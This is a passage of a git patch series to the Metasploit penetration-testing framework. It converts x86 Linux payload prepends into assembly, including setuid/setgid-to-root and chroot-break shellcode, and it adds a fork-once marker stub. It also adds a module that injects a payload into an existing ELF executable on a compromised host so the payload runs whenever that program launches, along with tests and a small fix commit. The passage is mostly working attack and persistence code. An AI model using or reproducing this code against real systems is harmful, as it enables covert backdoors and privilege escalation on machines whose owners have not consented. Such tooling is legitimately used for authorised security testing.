"\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setresgid(0, 0, 0) - 'PrependSetresgid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\xf7\xe3" + # mull %ebx # - "\xb0\xaa" + # movb $0xaa,%al # - "\xcd\x80", # int $0x80 # - - # setregid(0, 0) - 'PrependSetregid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x47" + # pushl $0x47 # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setgid(0) - 'PrependSetgid' => "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x2e" + # pushl $0x2e # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setreuid(0, 0) = break chroot - 'PrependChrootBreak' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x46" + # pushl $0x46 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - "\x6a\x3d" + # pushl $0x3d # - # build dir str (ptr in ebx) - "\x89\xe3" + # movl %esp,%ebx # - # mkdir(dir) - "\x6a\x27" + # pushl $0x27 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - # chroot(dir) - "\x89\xd9" + # movl %ebx,%ecx # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - # build ".." str (ptr in ebx) - "\x31\xc0" + # xorl %eax,%eax # - "\x50" + # pushl %eax # - "\x66\x68\x2e\x2e" + # pushw $0x2e2e # - "\x89\xe3" + # movl %esp,%ebx # - # loop changing dir - "\x6a\x3d" + # pushl $0x1e # - "\x59" + # popl %ecx # - "\xb0\x0c" + # movb $0xc,%al # - "\xcd\x80" + # int $0x80 # - "\xe2\xfa" + # loop -6 # - # final chroot - "\x6a\x3d" + # pushl $0x3d # - "\x89\xd9" + # movl %ebx,%ecx # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # + @prepends_map ||= { + 'PrependExecOnce' => prepend_exec_once, + 'PrependFork' => x86_assemble(%( + push 2 + pop eax + int 0x80 + test eax, eax + jz child + parent: + xor eax, eax + mov al, 1 + int 0x80 + child: + mov al, 0x42 + int 0x80 + push 2 + pop eax + int 0x80 + test eax, eax + jnz parent + )), + 'PrependSetresuid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + mul ebx + mov al, 0xa4 + int 0x80 + )), + 'PrependSetreuid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + push 0x46 + pop eax + int 0x80 + )), + 'PrependSetuid' => x86_assemble(%( + xor ebx, ebx + push 0x17 + pop eax + int 0x80 + )), + 'PrependSetresgid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + mul ebx + mov al, 0xaa + int 0x80 + )), + 'PrependSetregid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + push 0x47 + pop eax + int 0x80 + )), + 'PrependSetgid' => x86_assemble(%( + xor ebx, ebx + push 0x2e + pop eax + int 0x80 + )), + 'PrependChrootBreak' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + push 0x46 + pop eax + int 0x80 + push 0x3d + mov ebx, esp + push 0x27 + pop eax + int 0x80 + mov ecx, ebx + pop eax + int 0x80 + xor eax, eax + push eax + sub esp, 2 + mov word [esp], 0x2e2e + mov ebx, esp + push 0x3d + pop ecx + chdir_loop: + mov al, 0xc + int 0x80 + loop chdir_loop + push 0x3d + mov ecx, ebx + pop eax + int 0x80 + )) } end def appends_map - { - # exit(0) - 'AppendExit' => "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x01" + # pushl $0x01 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # + @appends_map ||= { + 'AppendExit' => x86_assemble(%( + xor ebx, ebx + push 1 + pop eax + int 0x80 + )) } end + + private + + def prepend_exec_once + @prepend_exec_once ||= x86_assemble(%( + jmp marker + open_marker: + pop ebx + mov ecx, 0xc1 + mov edx, 0x180 + mov eax, 5 + int 0x80 + test eax, eax + js stop + mov ebx, eax + mov eax, 6 + int 0x80 + jmp payload + stop: + xor ebx, ebx + mov eax, 1 + int 0x80 + marker: + call open_marker + db '#{prepend_exec_once_path}', 0 + payload: + )) + end + + def x86_assemble(source) + Metasm::Shellcode.assemble(Metasm::Ia32.new, source).encode_string + end end diff --git a/modules/exploits/linux/persistence/elf.rb b/modules/exploits/linux/persistence/elf.rb new file mode 100644 index 0000000000000..6f2c02a551178 --- /dev/null +++ b/modules/exploits/linux/persistence/elf.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Local::Persistence + include Msf::Post::File + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux ELF Executable Payload Injection Persistence', + 'Description' => %q{ + This module injects a payload into an existing Linux ELF executable. + The payload runs in a forked process whenever the executable is launched, + while the original program continues from its original entry point. + + The target must be a writable x86, x64, or AArch64 ET_EXEC or ET_DYN file + with an executable code cave or a reusable PT_NOTE/PT_NULL program header. + The original ELF is stored as loot before it is changed. + }, + 'License' => MSF_LICENSE, + 'Author' => ['dledda-r7'], + 'SessionTypes' => ['meterpreter', 'shell'], + 'Targets' => [ + ['Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X64 }], + ['Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }], + ['Linux AArch64', { 'Platform' => 'linux', 'Arch' => ARCH_AARCH64 }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-08-27', + 'DefaultOptions' => { + 'PrependExecOnce' => true + }, + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1027_009_EMBEDDED_PAYLOADS], + ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('ELF_PATH', [true, 'Absolute path to the ELF executable to modify']) + ]) + + deregister_options('WritableDir') + end + + def check + return CheckCode::Safe('ELF_PATH must be absolute') unless elf_path.start_with?('/') + return CheckCode::Safe("ELF does not exist: #{elf_path}") unless file?(elf_path) + return CheckCode::Safe("ELF is not readable: #{elf_path}") unless readable?(elf_path) + return CheckCode::Safe("ELF is not writable: #{elf_path}") unless writable?(elf_path) + return CheckCode::Safe("ELF is not executable: #{elf_path}") unless executable?(elf_path) + + @original_elf = read_file(elf_path) + return CheckCode::Unknown("Unable to read ELF: #{elf_path}") unless @original_elf + + injector = Msf::Exe::ElfInjector.new(template: @original_elf, payload: "\xcc".b) + return CheckCode::Safe('ELF already contains this injection marker') if injector.injected? + return CheckCode::Safe("ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture + + injector.generate + CheckCode::Detected("Writable #{injector.architecture} ELF supports #{injection_technique(injector)}") + rescue StandardError => e + CheckCode::Unknown("Unable to validate ELF: #{e.message}") + end + + def install_persistence + original_elf = @original_elf || read_file(elf_path) + fail_with(Failure::UnexpectedReply, "Unable to read ELF: #{elf_path}") unless original_elf + + encoded_payload = payload.encoded + begin + injector = Msf::Exe::ElfInjector.new(template: original_elf, payload: encoded_payload) + injected_elf = injector.generate + original_mode = stat(elf_path).mode & 0o7777 + rescue StandardError => e + fail_with(Failure::NotVulnerable, "ELF cannot be injected: #{e.message}") + end + fail_with(Failure::BadConfig, "ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture + + backup_path = store_loot( + 'linux.elf.backup', + 'application/octet-stream', + session, + original_elf, + ::File.basename(elf_path), + "Original ELF backup for #{elf_path}" + ) + fail_with(Failure::UnexpectedReply, 'Failed to store the original ELF as loot') unless backup_path + + print_status("Injecting #{encoded_payload.bytesize} bytes into #{elf_path} using #{injection_technique(injector)}") + unless write_file(elf_path, injected_elf) + restore_original(original_elf, original_mode) + fail_with(Failure::UnexpectedReply, "Failed to write injected ELF: #{elf_path}") + end + + begin + chmod(elf_path, original_mode) + written_elf = read_file(elf_path) + rescue StandardError => e + restore_original(original_elf, original_mode) + fail_with(Failure::UnexpectedReply, "Failed to verify injected ELF: #{e.message}") + end + + unless written_elf && Digest::SHA256.hexdigest(written_elf) == Digest::SHA256.hexdigest(injected_elf) + restore_original(original_elf, original_mode) + fail_with(Failure::UnexpectedReply, 'Injected ELF verification failed; restoration was attempted') + end + + if session.type == 'meterpreter' + @clean_up_rc << %(upload "#{backup_path}" "#{elf_path}"\n) + @clean_up_rc << %(execute -f /bin/chmod -a "#{original_mode.to_s(8)} #{elf_path}"\n) + else + print_status("Original ELF backup saved to #{backup_path}") + end + print_good("Payload will execute when #{elf_path} is launched") + end + + private + + def elf_path + datastore['ELF_PATH'] + end + + def target_architecture + target.arch.first.to_sym + end + + def injection_technique(injector) + injector.technique == :code_cave ? 'an executable code cave' : 'a new executable segment' + end + + def restore_original(original_elf, original_mode) + print_warning('Attempting to restore the original ELF') + write_file(elf_path, original_elf) + chmod(elf_path, original_mode) + rescue StandardError => e + print_error("Failed to restore the original ELF: #{e.message}") + end +end diff --git a/spec/lib/msf/core/exe/elf_injector_spec.rb b/spec/lib/msf/core/exe/elf_injector_spec.rb new file mode 100644 index 0000000000000..8f9c65f2fde58 --- /dev/null +++ b/spec/lib/msf/core/exe/elf_injector_spec.rb @@ -0,0 +1,78 @@ +require 'spec_helper' + +RSpec.describe Msf::Exe::ElfInjector do + def elf64(machine: 62, note_type: 4) + code = "\xb8\x3c\x00\x00\x00\x31\xff\x0f\x05".b + entrypoint = 0x4000b0 + identifier = "\x7fELF\x02\x01\x01\x00".b + ("\x00".b * 8) + header = identifier + [2, machine, 1, entrypoint, 64, 0, 0, 64, 56, 2, 0, 0, 0].pack('vvVQ '3.17', + 'PrependExecOnce' => enabled + } + end + object.define_singleton_method(:staged?) { false } + object + end + + { + x86: Msf::Payload::Linux::X86::Prepends, + x64: Msf::Payload::Linux::X64::Prepends, + aarch64: Msf::Payload::Linux::Aarch64::Prepends + }.each do |architecture, prepends_module| + context architecture do + it 'generates every prepend and append' do + object = prepend_object(prepends_module, enabled: false) + generated = object.prepends_map.merge(object.appends_map) + + expect(generated).not_to be_empty + expect(generated.values).to all(be_a(String)) + expect(generated.values).not_to include('') + end + + it 'applies a first prepend containing a volatile marker path' do + baseline = 'PAYLOAD'.b + guarded = prepend_object(prepends_module, enabled: true).apply_prepends(baseline.dup) + + expect(prepend_object(prepends_module, enabled: false).apply_prepends(baseline.dup)).to eq(baseline) + expect(prepends_module.instance_method(:prepends_order).bind(Object.new).call.first).to eq('PrependExecOnce') + expect(guarded.bytesize).to be > baseline.bytesize + expect(guarded).to include('/dev/shm/.msf-') + expect(guarded).to end_with(baseline) + end + end + end +end From a2340a07ac663dc62bccee922e584fc5bdabdddd Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Fri, 28 Aug 2026 18:10:57 +0200 Subject: [PATCH 2/2] fix: add the correct stability to persistence/elf --- modules/exploits/linux/persistence/elf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/elf.rb b/modules/exploits/linux/persistence/elf.rb index 6f2c02a551178..bacdb8f150904 100644 --- a/modules/exploits/linux/persistence/elf.rb +++ b/modules/exploits/linux/persistence/elf.rb @@ -44,7 +44,7 @@ def initialize(info = {}) ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION] ], 'Notes' => { - 'Stability' => [CRASH_SERVICE_DOWN], + 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] }